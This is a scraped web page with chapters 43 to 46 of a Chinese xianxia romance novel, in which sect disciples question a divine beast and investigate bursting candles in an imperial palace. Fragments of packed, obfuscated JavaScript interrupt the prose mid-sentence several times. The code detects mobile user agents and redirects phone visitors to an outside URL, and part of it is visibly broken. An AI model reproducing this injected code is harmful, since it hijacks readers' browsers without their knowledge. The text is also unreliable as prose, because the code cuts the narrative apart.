l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052961|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着叶南扶。 “是。” “认识殷梨多久了?” “不久,快两个月。” “怎么认识的?” “她闯了我府上。” 疯狗你在干嘛?查户口呢?你没瞧见老哥被问得已经不高兴了嘛?你平日不是自诩涵养颇好,今日怎么这么咄咄逼人地发问啊?老哥安分守己一死宅,以往也没可能得罪过你啊! “哦?这么说,先前是多有得罪了?殷梨平日是有些莽撞,我作为师兄,代她向叶公子道歉。”封荀语气却丝毫没有道歉的诚意。 叶南扶眼也不抬一下,吐出两个字:“不必。” “冒昧问一句,叶公子修为如何?” 疯狗你这可真是有够冒昧的!仙界三不问,女不问年岁,男不问婚配,不论男女都不问修为,老哥不知道内情,你还能不知道嘛?你这真的不是在挑衅嘛? “他情况有点特殊……” “我没有灵力。” 殷烬翎试图插话,却被叶南扶再度打断。 “啧。”封荀嘴角一掀,发出了一个挑剔的音节,“没有灵力,又无门无派,竟也称得上散修?倒不知如今仙界的准入门槛低到这般田地了。” 秦子铮在后面拉拉封荀的衣袍,冲他微微摇了摇头。 封荀只扭头看了一眼,不动声色地将衣袍从秦子铮手中扯回来,用眼神示意,这事儿是他们天璇的家事,天玑门的外人别管。 “殷梨虽说整日不思进取,得过且过,浑水摸鱼,插科打诨嬉皮笑脸没个正形,可她好歹是我同门师妹。” 叶南扶点头:“这句我赞同。” 你赞同个鬼啊,倒是给我纠正啊!我不要面子的嘛?还有你疯狗,既然冲着老哥来的就别乱放群攻技能啊,好好的扯上我作甚?我一围观群众怎么就莫名其妙卷入你们斗法的中心了! “仙道修行毫无捷径可走,比起攀附名门弟子妄图借此进入仙道七门,叶公子不如回去琢磨些仙道功法更为行之有效。”封荀也不扯着温良守礼的皮了,直接冷冰冰地道。 叶南扶抬眼,直直定凝着封荀的眼睛:“若是我不走呢?” “那就休怪我……” “打住!”殷烬翎终于忍不住跳了出来,“你们在演什么三流修真画本的烂俗桥段啊!一句话就能说清楚的事解释一下能死嘛?” 叶南扶翻了个白眼,侧身让开,道:“一句话?那你来解释一下。” 殷烬翎略微思忖了下,抬手指向叶南扶,对封荀道:“师兄,其实他不是人。” 叶南扶:? 封荀闻言,立刻拔剑出鞘:“他还有什么恶行,好赌还是家暴?你尽管说,师兄给你做主。” 叶南扶:?? 殷烬翎赶紧摁住了封荀的剑柄,连连摆手道:“不不,我的意思是,他是上古神兽乘黄,家住无生界,我捉妖的时候不慎闯进了他家,将他给拐带了出来,那能怎么办呢,事情做都做了,现在只好对他负起责任来了。” “别以为我没发觉,你刚刚话里偷摸着在占我便宜。”叶南扶在她身旁轻声冷哼。 44. 第 44 章 封荀听闻,静默片刻,侧过头悄声问秦子铮:“我怀疑我看了那些个不正经的读物,脑子好像都被污染了,她这说的‘事情做都做了’和‘负起责任’,是我想的那个意思吗?” 长年通晓各类八卦的秦子铮自然瞬间领会了他的意思,罕见地默了一默,小声道:“这种事,做师兄的也不太好过问吧?” 封荀烦躁地抓了抓头发。 见鬼了,这殷梨,才几年没见,怎的就成了这样,若再过几年,岂不是要抱个孩子回清霄山来。 他脑中不由浮现画面,殷烬翎一手挽着这破落散修、一手牵个稚童回山,见了师兄师姐就让孩子喊人,小孩手一伸:“疯狗师叔好,快爆点红包。” 封荀顿时一阵恶寒,用力摇头甩掉乱七八糟的画面,看着眼前说悄悄话的两人愈发不爽起来,他拿出仙愿榜,戳了几下,准备给殷烬翎嫡亲的大师姐发讯息。 我不好插手管教,总有人能管教得了。他恶狠狠地想。 此时的殷烬翎还不知道,她随口玩点梗、占点口头便宜的话,已经让封荀将孩子都脑补出来了。 她浑然不觉,低声跟叶南扶狡辩道:“送你回去难道不算负起责任嘛?你都想到什么地方去了。” 叶南扶瞄了一眼面色难看地戳着仙愿榜的封荀,似笑非笑地听着殷烬翎狡辩,并不言语。 封荀这边正忙着发讯息,秦子铮无奈地瞥了他一眼,心道:这殷师妹若是回天璇门,只怕师父师姐那关难过了。 秦子铮遂开口问道:“那殷师妹之后……可有什么打算?” 殷烬翎答得毫不犹豫:“我准备去无生界。” 还没等秦子铮说什么,一旁的封荀却先叫了起来:“什么?你要去无生界?!” “没错,所以等此间事了,希望能搭你们的座驾回仙界,临走之前我得回一趟清霄山拜个别。” “拜别?!”封荀顿时发出尖锐爆鸣声。不是,她就这么草率地……准备远嫁无生界了?! 秦子铮也惊道:“你当真要去无生界?不是在开玩笑吧?” 殷烬翎点头,见这两人这么大反应,心中有些迷惑,她送个人就回来的事,至于这样?搞得好像她准备在那里生活一辈子了似的。 嗯……或许是因为对无生界的了解太少了,书籍中对其记载也多是后人臆测,两位师兄觉得去那里不安全吧。 殷烬翎心中暗暗点头。一定是这样,看疯狗在那边戳仙愿榜,八成是在查无生界的相关资料吧。 封荀发完讯息合上了仙愿榜,皱着眉头严肃道:“你不会是为了让我接受这个门不当户不对的小子,编了瞎话在诓我吧?” 说要同散修结道侣肯定会被反对,但若说要远嫁去无生界,他们就会接受散修了。 殷烬翎心里直嘀咕:什么玩意儿?现在结交个道友都要讲究门当户对了?而且我干嘛非要让你接受他,又不是你跟他结交。 “我诓你作甚?我先前误打误撞将人拐带出来时,已经去过一趟无生界了,也没什么特殊的,不必这般担忧。” 殷烬翎在心里默默补充:虽然就待了不到一炷香的功夫,但好歹也算去过一次。 “倘若你执意要去无生界,我也阻拦不了。只是,我再如何与你不对付,你终归是天璇门的人,作为同门师兄,我须得弄清楚一个事。” 封荀上前一步,指着叶南扶道:“你如何确保此人并未存有歹心?” 叶南扶看着举在他面前的手指,挑了挑眉,没有说话。 殷烬翎拉住封荀抬着的手臂,轻轻放了下来,正视着他,缓缓道:“封师兄,相信我。” 她面上平静无澜,眼里光华流转,很是认真诚恳,封荀神色有些松动。 末了,她又添了句:“毕竟爱看画本的阿宅都是单纯善良的。” 封荀:“……” 此事最后不了了之,四人各回各住处。 到了住处,叶南扶并未同往日一般直奔房间即刻瘫倒在床榻上,而是缀在她身后,如踱步一般,走得颇为缓慢。 “你是不是有话要问?”殷烬翎转过身来。 叶南扶脚下一顿,扭头避过她的眼睛,沉默良久,道:“没有。” 说完转身便走,殷烬翎连忙出声:“老哥。” 叶南扶停住了。 “你方才是不是有点生气?” 叶南扶没有回答,他背对她而立,亦瞧不见神色。 殷烬翎继续道:“疯狗那么唐突地寻衅逼问,你有些不快也是应该的,他从前在师门里管束弟子风纪管得惯了,说话难免有些盛气凌人,但……他其实并没有恶意,你别同他置气。” “没有。” “什么?” “我没有生气。”叶南扶轻轻地叹了口气,“只是……有点羡慕。” 说到最后几个字微不可闻,殷烬翎没有听清,但她隐隐知道叶南扶不会再说第二遍了。 “麻雀,早点休息吧,可别再偷偷躲被窝里看带颜色的画本了,搞得今日面见皇帝时都神智昏蒙没听见宫宴的事。” 殷烬翎顿时一扫先前的情绪,气急败坏道:“胡说,我明明已经十多日没看了,你怎么凭空污人清白!” 叶南扶嗤笑一声,没有再理会,直接回了自己厢房。 殷烬翎撇撇嘴,也转身回房,两扇雕花门板缓缓合上,发出一声短促的摩擦声后,便是万籁俱寂。 灯火亮起,她眸光却渐渐暗了下来。 老哥每次有些怅然若失的情绪,不想继续说话之时,就会出言讽她损她激怒她,这样她便会暴怒然后理所当然地快速结束话题。她很早就察觉了,所以每次都相当配合。 他不想说,她便也贴心地不问。 只是不知,他何时才会主动与她开口。 - 月过中天,叶南扶披着衣服坐了起来。 他又失眠了,已经数不清是来到这里后第几次,又或许从来没有一夜不曾失眠。 窗外星河皎皎,月似弯镰,远处近处的草木在沙沙风吟,高高低低的楼阁是幢幢黑影。 一扇窗半敞着,一只黑猫悄无声息地立在窗框上,圆睁的竖瞳里透着莹莹幽绿,正一瞬不瞬地盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064970|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他。 他也静静地看着黑猫,黑猫通体漆黑,与夜色浑然一体,不细看几乎很难察觉。 一人一猫对视片刻,黑猫弓起身子,警惕地叫了一声,叫声甚是哀婉凄厉,更胜夜枭悲鸣,随后它纵身跃下窗子,在屋顶上几个跳跃,融进了浓墨般的夜色之中。 他仍维持着原来的姿势靠在床头,一动不动。 猫已走了好久,只余下个冷冷清清的窗台,夜风倒灌进来,猫爪留下的些微痕迹顷刻消散无形。 秋风将窗牖吹得吱呀作响,风声萦绕在他耳畔,窃窃私语。 ——这是……什么品种的鸟雀? ——什么,你说这是人?还是三个人? ——就这,随便逮个孩童画得怕是都比你强吧?有这闲工夫,你倒不如多研究研究你那域,说不准还能有点用处,也好过画这等辨不出品种的鸟雀。 ——喂,叶述……我就一时口快,你别…… ——那什么,我会点书画的皮毛,你要是愿意,我可以教你。 他忽然用力掩住耳朵,死死抱紧了膝盖,将整个人缩成了一团。 - 南三街繁华依旧,沿路华盖云集、车马塞途,殷烬翎一路走来,这才恍然有种回到人间之感,也不知是丧事的缘故还是本身就如此,皇宫里整日有种阴沉沉的憋闷感,显得毫无人气。 转眼距太后的百日祭已经没剩下几日了,这些时日以来虽算不得非常忙碌,却着实挺累人的。 除了必要的安魂超度、作法颂道之外,还时常随着一众仙家们去到皇城各处宫殿行风水堪舆,指点格局上的缺漏,乃至出外勤去勘测皇陵布局陈设,更有甚者,还会替王公贵族、各世家子弟相看根骨资质,推演命数,简直是将一个仙道人士的业务全数提供了一遍。 其实原先是没那么多事的,但也不知是不是看百日祭还有段时间,大家都闲得慌,被征召来的仙家们自发向皇帝表示,可以组织仙家提供这些附加业务,当然也是要收取一点额外费用的,皇帝欣然应允。 皇家的额外酬金自然也不是小数目,为了这笔不菲的酬劳,殷烬翎便也踊跃报名参与其中,但她着实没想到,那些老油子们居然能这么卷,什么业务都接,每天的工作都排得满满当当,她又没好意思腆着脸说要退出,毕竟钱也不少。 托这些忠厚卖力卷王们的福,殷烬翎这段时日回了住处都是倒头就睡,再没有精力琢磨什么画本去了,深切体验到了社畜的悲惨生活。 当然,除了没法钻研画本,也无暇去查证此前疑心的那些事,慈宁宫、此前几处事发地、太子妃失踪的别院更是一处也未曾去探过,今日也是好不容易才得了机会才来这南三街的。 不过老哥倒是清闲,他直接在自己闺房里窝了这么多天,别人越忙他越浪。 而且她隐隐有些感觉,自从那日封荀言辞不善地一番逼问后,叶南扶便一直有些怏怏的,连带着人也似乎比之前更懒了,成日蜷在床上不动弹,偶尔见他下地来,也是摸了些干果瓜子之类便马上躺回去了。 总觉得,他像是有什么心事。 45. 第 45 章 思索间,殷烬翎到了满是灯烛铺面的那条街,她便暂且将这些事抛到脑后,向附近打听了一下,她很快找到了封荀所说的那家铺子。 店门依旧紧闭,门上的木雕已落了不少灰尘,看来是长久无人回来了,不过倒是没贴封条,也不知是不是宫里被各路怪事闹得不可开交,故而没工夫来查封此处。 殷烬翎观察了一下这条街上的房屋格局,此处街道属南三街最靠北的一方,由于后头没有其他铺面,因而显得较为宽敞,属于前店后屋、中间天井相连的那类。 她捏了个诀,腾身跃上屋檐,跳入中间天井处。 前头铺面一眼望去相当干净,货架上都空荡荡的,覆了一层薄薄的灰尘。殷烬翎尽量放轻动作,在一些抽屉里搜了搜,并未有任何发现。 她起身,正想着要往后屋走时,余光瞥见柜台桌案上一处地方的灰尘有些异样,她便俯下来侧着头仔细查看,只见灰尘上留有一个碗口大小的圆环状印子,圆环只有不到半指宽,环所在一小圈没有灰尘,而其中间部分又有灰尘,像是在灰尘覆满桌面后短暂放过什么东西又拿走了。然而灰尘覆满少说也得在老板关了铺面出逃十来日以后,那时还有谁会来这个地方呢? 这个痕迹实在太细微且脆弱,很可能过两日有人来此,一拂袖就见不到了,又或许稍有风吹过就消失无踪,而她也没什么法术手段能使其保存下来,于是她伸出手掌比对了一下,大致记了其形状。 随后她去了后屋,这处后屋并不宽敞,显然不是老板一家生活之地,而是一个放置货物的仓库,里面堆满了五色斑斓的各类花灯、彩绘的花烛,当然也存在不少普通照明用烛,另外还有些画好的山水扇面、挂画之类的杂货,上边的都盖着一层黑灰。 她着重找了找白烛,有不少,都放在最外边,角落里还有一堆用剩下的白色蜡块,她便从袖里乾坤中取出块布,将白烛都放了大部分进去,又挑了些许蜡块,一同打包好,放回袖里。 做完这些后她回到天井,翻出屋外,又去光顾了一趟簪子铺,出来时天色已有些暗下来。 已经将入冬了,天黑得快,稍早一些的铺子已经开始准备打烊,她也打算回皇宫了。途中再度路过方才的灯烛铺,她不由多看了两眼。 “这位师傅,那边那家铺子怎么关门了?” 不远处一个声音突然闯入耳中,殷烬翎闻声看去,一位妇人正在向隔壁铺子老板询问。 “嘿呀,最近已经不知道多少人来找我问过这事儿,我也就是刚巧店跟人挨着而已,人家的事咱能知道个啥啊。”隔壁老板道,“那铺子啊,早一个来月就关了,伙计都散了,老板人也不晓得去哪儿了,咱就知道这么些。” “唉,真可惜。”妇人摇头叹息,“那家铺子老板亲手绘制的小彩灯可精致的了,孩子们都喜欢,本想多买几个回去的。” “哎,夫人,咱铺子的小彩灯也卖得不错,夫人要不进来看看?” 老板亲手绘制的嘛? 殷烬翎想起仓库里的那些扇面与画作来,估计也是他所画,看来这老板算是有几分风雅意趣。 天色又暗下来几成,她便没再耽搁,径直往皇城走。 回到住处,天已然完全擦黑,弦月高挂梢头,黯淡的宫灯映下,殿门前石阶摆着一只孤零零的食盒。 是宫人送来的晚膳,估计是叩门见没人应,又不敢擅闯仙家居所,踌躇一番便放门口了。 不应该啊,老哥是不可能会出门的啊。 她提起食盒往里走,推开叶南扶房间的门。 一片沉寂无声,屋里没有点灯,窗开了一半,有月华如练,自缝隙内潺潺淌入,流泻在床榻之上,往倚着床头静坐的人身上覆了一层暮秋薄霜。 “你既然在,怎么不把食盒拿进来?” 殷烬翎反手关上房门,点燃了灯烛,她将食盒里的饭菜一一摆到桌上,还有些许余温,现下吃着应当正合适,近来天明显冷下来,再放会就得凉了。 “嗟,来食。”她摆好了菜,冲榻上人唤了句。 叶南扶眼眸朝她这处转了转,凉凉地瞥了她一眼,毫无动作。 “怎么,莫非零嘴又吃多了?”殷烬翎歪头打量他。 “讲真的,虽说你生命力取之不尽用之不竭,可能并不会有损脾胃,生出病来,但三天两头这般只拿点心糕饼填肚子毕竟不是什么好习惯。” 叶南扶垂下眸子,盯着自己露在锦被外的赤足,并不回应。 忽然一只纤细的手伸了过来,抓住被子一角,用力一掀,将他整个身子给盖住,只露了半张脸在外面,两只略带迷茫的眼睛眨了两眨,看着颇有些滑稽。 殷烬翎忍不住笑出了声,笑完了又道:“只穿了中衣还敞着窗,知不知道如今都过了霜降,再有两日便是立冬了。” 叶南扶从里头伸出手来,拉下遮了口鼻的被子,嘴唇微微一动,像是要说什么。 “打住,我知道你不会感风寒,但你又不是不怕冷。” 他拉被子的动作顿住,眼眸中的冷月随着波光晃了两晃,跌散在湖中,他将手缩回了被子里,安静地不再有动作。 殷烬翎坐到床边沿上,拿手撑着头,仔细瞧了他片刻,从袖中取出一个小巧的雕花木盒,打开来,里面躺着一只红玉簪子,簪尾雕刻得状似玲珑的狐狸,晶莹圆润,精巧却朴实。 叶南扶目中光华蓦地凝住了,直直地胶着在簪子之上。 “那日在江南城我见你一直盯着瞧,可我当时已经将酬金花光了,便暗暗记下了模样……后来进了江宁城,我便选了从南三街走,当了些物什,去簪子铺定做了这个,今日刚跑了趟南三街,就顺道取了回来……” 殷烬翎吞吞吐吐地说完,久久不见他有所反应,便又嗫嚅着添了一句:“……我记得可能不大准确,你瞧着可还中意?” 叶南扶伸手接了过来,拿在眼前细细端详,指腹缓缓摩挲着狐狸的尖耳,鼻子里轻若无声地应了句“嗯”。 眼前突然又伸来那只手,这一回盖住了他手上的玉簪,手分外娇小,没能完全遮住整个簪子,簪尾狐狸的脸还露在外头。 “这玩意儿可不便宜,你我也认识挺久了,瞧着我像是会白送的人嘛?” 她上身向前倾了倾,稍离他近了些,声音也愈发低了些。 “我拿它同你交换一件事。” 她几乎凑在他耳边,声音轻若细喃:“你当下在想的事。” “你……愿意同我说说嘛?” 叶南扶忽地抬眼看她,眼里竟头一回有了些无措,唇微微翕动,欲言又止。 殷烬翎静静等了他片刻,他始终未有开口,且慢慢将眼帘垂了下去,她眼中的光芒暗了暗,轻轻将盖着簪子的手收了回来,边故作轻松的语气:“无妨,既然这样,那改一个别的要求好了。” 手收到一半,蓦地被一把攥住。 “不改了。” 她一愣。 “但,能不能赊账?” 殷烬翎眼一弯,唇边笑开了,露出清清浅浅的两个酒窝。 “好啊。”她道,“那你记着,欠我一个故事。” 叶南扶松开了手,缓缓靠回了床头,声音恢复了几分往日的懒散:“你怎么知道是故事?没准是个人。” “哦?原来竟是个人嘛?”殷烬翎稀奇道,“死宅竟也有社交?” “你少在这装现充了,不过是没我这条件躺平罢了。” 殷烬翎被一语中的戳破了柠檬精本质,恼羞成怒地败下阵来,便直接终结了这个话题。 她起身坐到桌子旁,摸了摸盛饭菜的盘子,果然才这么会功夫就凉了。 她手上亮起莹白的灵力,不多时触着的那盘菜上冒出腾腾热气来,她如法炮制又热了另几盘,做完这些便冲床铺那侧喊:“赶紧下来,过会再凉了我可不会再管了。” 叶南扶没吭声,却还是依言下了榻,披上外衫,坐到桌边慢慢吃了起来。 殷烬翎先前已在宫外头吃过一些,况且她是名副其实的麻雀胃,此时并不饿,便坐在边上看着他吃。 他吃得很慢很慢,一顿饭花了近一个时辰,中途菜又凉过一回,殷烬翎再次充当了人形蒸笼,挨个热了一遍。虽然用时久了些,但他居然尽数用完了,没剩下什么菜。 殷烬翎暗暗吃惊。 这送来的晚膳是两人的量,而且通常会再多添一些,不至于显得捉襟见肘,老哥这一点没剩下……果然这才是他正常的食量,证明他今天的确没吃零嘴。 收拾完了,殷烬翎便起身打算回自己房间。 “簪子……” 殷烬翎正要推门的手一顿,扭头看他。 叶南扶垂着头,手里轻轻抚着簪子,视线飘忽,只一味往下,不敢抬头对上她。 “……并非狐狸,是乘黄。” 有乘黄,其状如狐,背上有角,乘之寿二千岁。 “过去我曾有一个,与它很相像,是母亲雕琢的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086596|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “后来,碎了……” 他说得有些语无伦次,但大致能听明白意思,殷烬翎没有出声打扰,静静地听着。 “还有……呃,簪子……” 他局促地用力抿了抿唇,头稍微抬起了一些,只是目光仍撇在别处,只从唇齿间轻微错缝中逸出几个字。 “很好看。” 殷烬翎听了便笑,一时眉眼弯成了两抹新月,唇边漾开了春江碧桃。 她没再说什么,推门出去了。 - 自那日过后,叶南扶便渐渐恢复了精神。 然而蔫蔫的叶南扶和恢复精神的叶南扶每日所做的事并没有本质上的区别,不过就是从一言不发地蜷在床榻上,变成了如今懒洋洋地倚在床头柱子上,还时不时地出言损她两句。 每每辛苦一天累得不行回来还要听他的风凉话,殷烬翎便觉得还不如任由他去,前几日那没精打采的样子乖觉顺眼得多了。 不过,虽则这人极度消极怠惰,将大把宝贵时光消磨在床笫之间,涉及到某些事情时,他还是会表现出罕见的认真和专注。 没错,说的就是看画本。 ——不然呢?指望他调查时候能拿出看画本时的全神贯注? 殷烬翎扭头,看了看另一边呵欠连天地随意翻着东西的叶南扶。 不存在的。 他们现下身处慈宁宫。 这日殷烬翎白日里寻了个空当补了一觉,两人趁夜潜入了慈宁宫,毕竟百日将至,留给她调查的时间也所剩无几,而需查探的地方却不在少数。而慈宁宫,正是她目前最想一探究竟之处,自从上回半途被襄王与襄王妃打岔之后,就没再来过此处。 按大乘皇朝的规制,五七过后棺木便要葬入皇陵地宫,由其亲族准备陪葬器物,而亡者的遗物,除了生前有强烈意愿的物品会充入陪葬品,否则原封不动地保留一年后,分赐与亲族留作念想。因此目前慈宁宫应当还保留着太后过世前的原貌。 慈宁宫已空了许久,因着丧期内异事,白日里可能还有零星几个宫女出入,到了夜间便是冷冷清清的一座孤殿,几乎没什么人敢在附近逗留,倒是方便了他们行事。 点上灯盏一看,太后卧房里干净朴素得有些出乎意料,仅有几个乏善可陈的瓷器摆设,除了一件是名窑古物外,其余只是看着尚可,却并不名贵。 墙上挂着几件字画,也都不是名家手笔,不过瞧几幅画作都是有些相似的笔法,估计只是太后个人喜爱这类风格,是不是名家倒无关紧要,由此看来太后似乎是个率性不羁之人,赏玩字画全凭喜好,大有“英雄不问出处”之意。 殷烬翎移步挨个看着字画上的落款,忽见一处留了块空白的墙面,她回头望望方才来路上挂着字画的墙壁,虽称不上满满当当,但好歹没留下这么个空处。 她贴近些墙面,伸出手摸在其上。仔细看能瞧见一个四方形淡淡泛黄的印子,像是有一幅挂过挺久的字画被取了下来,但并不是最近取下来的,从方形中央的墙面也有些许微黄来,取了得有好几年了,不知出于什么缘故,一直没有挂新的上去。 说起字画,殷烬翎突然想起来太子说过的那幅诡异画作,是封藏在玉枕底下,她赶忙来到床榻旁。 榻上已经没有了被褥席子,这些物什以及衣物手绢之属,按习俗是要在下葬当天烧毁,而玉枕和钗钏佩环之类则属于要留存一年的。 她伸手往玉枕底下的空隙一探,什么也没摸着,她皱了皱眉,干脆将整个玉枕翻了过来,只见底部镂空了一个圆柱状的空间,想是用来藏那幅画的,但现在里头空无一物。 “别找了,早没了。”翘着腿坐在太师椅上的叶南扶,一边漫不经心地翻着抽屉,一边闲闲地开口,“我一到这儿就去摸了那枕头,过后又翻了大部分的抽屉,没见着。” “被人拿走了嘛?”殷烬翎头一个想到的便是太子,他那日找到画之后会不会私自藏了起来? “大概吧。”叶南扶自顾自翻着,心不在焉地回道。 殷烬翎转了一圈,又把瓷瓶都挨个伸手进去摸了一遍,毫无发现,转头见叶南扶还在翻抽屉里的书稿,便也过来帮忙,她拉开一个抽屉,里头是一叠文书,最上边赫然是一张地契,地址是南三街临北一巷五户。 电光火石间,有什么在脑中轰然炸开,殷烬翎拉了拉身旁的叶南扶,声音控制不住地有些兴奋得发颤:“老哥,看这个。” “这个地契,是南三街那间灯烛铺!” 46. 第 46 章 叶南扶凑了过来,拿起地契正反瞧了瞧,轻笑一声道:“那灯烛铺竟是太后的产业,真是大水冲了龙王庙。” 他指的自然是这铺子供给的白烛,在太后七七那日猝然炸裂之事。 经他一提醒,殷烬翎猛然想起来,前几日从灯烛铺的仓库里还弄来了不少白烛,本想着回来研究研究,结果那天忙着去开解自闭的叶南扶,一时给忘了,现下还放在她的袖里乾坤中。 得赶快查完这里,回去捣鼓一下蜡烛。 打定主意后,为了加快进度,趁叶南扶打量地契的空当,殷烬翎又接着往下翻了翻那叠文书。然而底下却大都是书函信笺文牒之属,再瞧不见一张房契地契。 两人很快结束了慈宁宫这趟探查,再未找到什么别的线索。 出来时外边下起了雨,惦记着蜡烛的事,殷烬翎忙拉着叶南扶快步回了住处。 进了门,将殿门关上落锁,便从袖子里取出个布袋来,一根一根地往外掏着蜡烛,看得叶南扶眉头直跳了两跳,忍了半晌没忍住,出言道:“你火急火燎地赶回来,这是准备玩什么花样?” “这是从那个灯烛铺里弄来的,你刚刚提到白烛炸焰的事,我忽然想做个试验。”殷烬翎抬眼幽幽地瞄了他一眼,“不然呢,还以为我要玩什么成人的游戏?” 叶南扶耸耸肩,不置可否。 殷烬翎将白烛逐一排开,场面像在举行某种奇妙的仪式,她拿来火折子,逐一点燃,尔后在边上席地一坐,静静等着。 不多时,中间一支蜡烛当先炸开,飞溅而出的残屑差点碰倒旁边的一支,蜡块碎了一地,只留下断口嶙峋不齐的半截残烛微微冒着青烟。 殷烬翎见状,连忙运转灵力在蜡烛之间设下阻隔,以防炸裂的蜡块影响到其他蜡烛。 可紧接着,便如同点燃了成串的炮仗一般,众蜡烛争先恐后地竞相炸开,“噼噼啪啪”群响声不绝,场面一度十分混乱,尽管有了一部分阻挡,然而碎屑还是飞得到处都是。 边上的宫殿顿时传来窗户被狠狠推开的声音,接着是一个愤怒的男声:“吵死了!谁大半夜放鞭炮啊,这么没公德心!” 殷烬翎讪讪地缩了缩脖子,自知理亏,默不作声地给整个住处设了个隔音结界。 又过了半晌,蜡烛该炸的都炸得差不多了,还在燃着的十之八九不会有动静了,殷烬翎一拂袖熄了火焰,开始收拾起地上的残局来。 “这是那灯烛铺老板试验剩下的?”叶南扶方才一直静静旁观,此时开口道。 殷烬翎有些不情不愿地在心里承认,跟老哥说话有时候还是相当舒服的,不需要多解释什么,他自然而然就接上了思路。 为了确保不出差错,老板制作七七仪式那个有问题的蜡烛之前,必定试验过很多回,而她带回来这些白烛就是要弄清楚,为何蜡烛燃至半途会炸开。 她又伸手进布包里,摸出来一些蜡块和灯芯,寻来个碗将蜡块装进去,手下便运转灵力加热融掉蜡块,只需待其完全融化,放了芯子进去,再等到蜡块凝固,就能做成个简单的蜡烛。 叶南扶靠坐在墙根上,默默看着她捣鼓了半天,忽然道:“倒是看不出,你还会弄这些。” 我没听错吧?老哥这算是在夸我?夭寿啦,老哥变性了,啊不对,是转性啦! “别瞧着我这样,好歹也入世五十年之久了,长期行走人间,什么杂学都是会一些的。” 殷烬翎闭着眼说瞎话,一边把手探进袖中,暗暗将袖子里的《在家自制蜡烛小教程》往里头塞了塞。 “但是……这会不会烧得稍微有些过头?”叶南扶皱着眉看了看,碗里的蜡油早已融化了好久,然而殷烬翎并未停下灵力。 “嗯?会嘛?” 那书上说了要用烛焰烧约莫半盏茶的功夫,用灵力烧应该也差不多吧。这明明才没多久啊? 殷烬翎伸头去瞧了瞧,只见蜡油安安稳稳地淌在碗里,表面平静无波,看上去人畜无害的模样。 骤然间,一阵劲风将半掩的窗扇挥开,雨水被裹挟着往里灌入,数点水珠溅在了盛放蜡油的碗中。 殷烬翎嘀咕着正要起身去关窗,原先平整如镜的蜡油突然翻起数个巨大的气泡,宛如沸腾的热汤一般,尔后只听的一声炸裂的响声,蜡油中心迸溅开来,热油飞溢出碗边沿。 好在滚烫的蜡油泼溅得并不太厉害,响声也不是太大,只表面一层没了,底下大部分还留在碗里,也好在叶南扶一直注意着这边情况,眼疾手快地一把将殷烬翎拉了过去,不然她如今就该被烫伤了。 救命!还不如被烫伤了去! 场面一度十分尴尬,殷烬翎此刻被叶南扶揽在怀里,脸贴在对方胸口,只觉得羞愤欲死。 “看来果然烧得过了些,怎么就没控着火候呢?”头顶传来叶南扶的一声轻嗤。 是是,我自首,我坦白,我从来没做过蜡烛,可以放开我了嘛? “嗯?不是号称杂学大师么?” 不不,我有罪,我不该瞎吹,不该被夸了一句就得意忘形,所以能放开我了嘛,尴尬症发作起来真的很痛苦的。 叶南扶瞅了瞅地上的一片狼藉:“这个收拾起来可有点麻烦。” 嗯嗯,我知道,我一定收拾得干干净净,半点渣末都会不留下,麻烦你放了我好嘛,趁着尴尬症病魔还没战胜我之前。我说真的,情况危急,你很快就听不到我下一句吐槽了! 殷烬翎微微抬头望去,只见叶南扶虽面不改色,语声亦平静和缓,耳朵却红得像要滴血。 殷烬翎盯着那红透的耳垂瞧了半晌,眼珠稍稍动了动。难道说,他也…… 两厢僵持了片刻,殷烬翎率先败下阵来,瓮声瓮气地嗯了两声,头在叶南扶胸口拱了拱,挣扎了出来,尔后迅速蹲下去收拾黏在地上都快干了的蜡烛油。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097647|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过,托这的福,也算弄清楚了蜡烛炸开的原委。” 叶南扶一边接着先前的话题说,一边弯下腰捡起了那只碗,里头还盛着将凝未凝的蜡烛油。 我没看错吧,老哥居然纡尊降贵亲自来收拾东西了,而且这满地狼藉还不是他弄的,千年一见的奇观啊!看来大家为了摆脱尴尬的气氛都是相当努力呢! 蜡烛油这东西很是难清理,殷烬翎弄了个小铲子来,一点一点地将地上干涸的蜡油铲起来拢到簸箕里,叶南扶则靠坐在一边,手里拿着个棕毛刷,有一下没一下地刷着铲过地方的残屑。 殷烬翎边清理边道:“我先前并不知,原来蜡烛里头掺了水或杂质会炸焰,倒算是误打误撞。” 